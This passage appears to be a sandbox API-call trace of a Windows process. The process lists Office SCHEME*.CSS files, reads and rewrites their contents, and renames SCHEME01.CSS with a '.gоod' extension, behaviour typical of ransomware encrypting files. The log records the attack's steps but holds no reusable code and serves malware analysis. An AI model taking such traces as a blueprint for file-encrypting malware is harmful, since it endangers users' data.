ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME32.CSS", cAlternateFileName="")) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1dcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME33.CSS", cAlternateFileName="")) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d124, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME34.CSS", cAlternateFileName="")) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x202f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME35.CSS", cAlternateFileName="")) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME36.CSS", cAlternateFileName="")) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME37.CSS", cAlternateFileName="")) returned 1 [0252.022] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f07c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME38.CSS", cAlternateFileName="")) returned 1 [0252.022] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaccc88d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME39.CSS", cAlternateFileName="")) returned 1 [0252.022] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME40.CSS", cAlternateFileName="")) returned 1 [0252.022] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaccc88d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME41.CSS", cAlternateFileName="")) returned 1 [0252.022] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7c11d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d920, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME42.CSS", cAlternateFileName="")) returned 1 [0252.022] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaccc88d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e714, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME43.CSS", cAlternateFileName="")) returned 1 [0252.022] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab9b4b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab9b4b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaccc88d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ecfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME44.CSS", cAlternateFileName="")) returned 1 [0252.023] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME45.CSS", cAlternateFileName="")) returned 1 [0252.023] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME46.CSS", cAlternateFileName="")) returned 1 [0252.023] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME47.CSS", cAlternateFileName="")) returned 1 [0252.023] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f984, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME48.CSS", cAlternateFileName="")) returned 1 [0252.023] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1da6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME49.CSS", cAlternateFileName="")) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f018, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME50.CSS", cAlternateFileName="")) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME51.CSS", cAlternateFileName="")) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e254, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME52.CSS", cAlternateFileName="")) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME53.CSS", cAlternateFileName="")) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f064, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME54.CSS", cAlternateFileName="")) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 0 [0252.025] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0252.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0252.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0252.025] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", lpFilePart=0x0) returned 0x4a [0252.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0252.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), fInfoLevelId=0x0, lpFileInformation=0x3a14498 | out: lpFileInformation=0x3a14498*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6)) returned 1 [0252.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0252.025] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", lpFilePart=0x0) returned 0x4a [0252.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.026] GetFileType (hFile=0x85c) returned 0x1 [0252.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.026] GetFileType (hFile=0x85c) returned 0x1 [0252.026] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0252.027] ReadFile (in: hFile=0x85c, lpBuffer=0x3a148c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3a148c0*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0252.027] CloseHandle (hObject=0x85c) returned 1 [0252.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", lpFilePart=0x0) returned 0x4a [0252.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.028] GetFileType (hFile=0x85c) returned 0x1 [0252.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.028] GetFileType (hFile=0x85c) returned 0x1 [0252.028] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1eea6 [0252.028] WriteFile (in: hFile=0x85c, lpBuffer=0x3a15b60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3a15b60*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0252.029] CloseHandle (hObject=0x85c) returned 1 [0252.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", lpFilePart=0x0) returned 0x4a [0252.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.030] GetFileType (hFile=0x85c) returned 0x1 [0252.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.030] GetFileType (hFile=0x85c) returned 0x1 [0252.030] ReadFile (in: hFile=0x85c, lpBuffer=0x3a17e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3a17e28*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0252.191] CloseHandle (hObject=0x85c) returned 1 [0252.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", lpFilePart=0x0) returned 0x4a [0252.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.191] GetFileType (hFile=0x85c) returned 0x1 [0252.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.192] GetFileType (hFile=0x85c) returned 0x1 [0252.192] WriteFile (in: hFile=0x85c, lpBuffer=0x390d220*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x390d220*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0252.192] CloseHandle (hObject=0x85c) returned 1 [0252.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS", lpFilePart=0x0) returned 0x4a [0252.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS.gоod", lpFilePart=0x0) returned 0x4f [0252.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0252.192] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9287450f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1eeb6)) returned 1 [0252.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0252.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css.gоod")) returned 1 [0252.193] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", lpFilePart=0x0) returned 0x4a [0252.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0252.193] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), fInfoLevelId=0x0, lpFileInformation=0x3a05d90 | out: lpFileInformation=0x3a05d90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe)) returned 1 [0252.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0252.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", lpFilePart=0x0) returned 0x4a [0252.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.195] GetFileType (hFile=0x85c) returned 0x1 [0252.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.195] GetFileType (hFile=0x85c) returned 0x1 [0252.195] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0252.195] ReadFile (in: hFile=0x85c, lpBuffer=0x3a061b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3a061b8*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0252.196] CloseHandle (hObject=0x85c) returned 1 [0252.196] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", lpFilePart=0x0) returned 0x4a [0252.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), 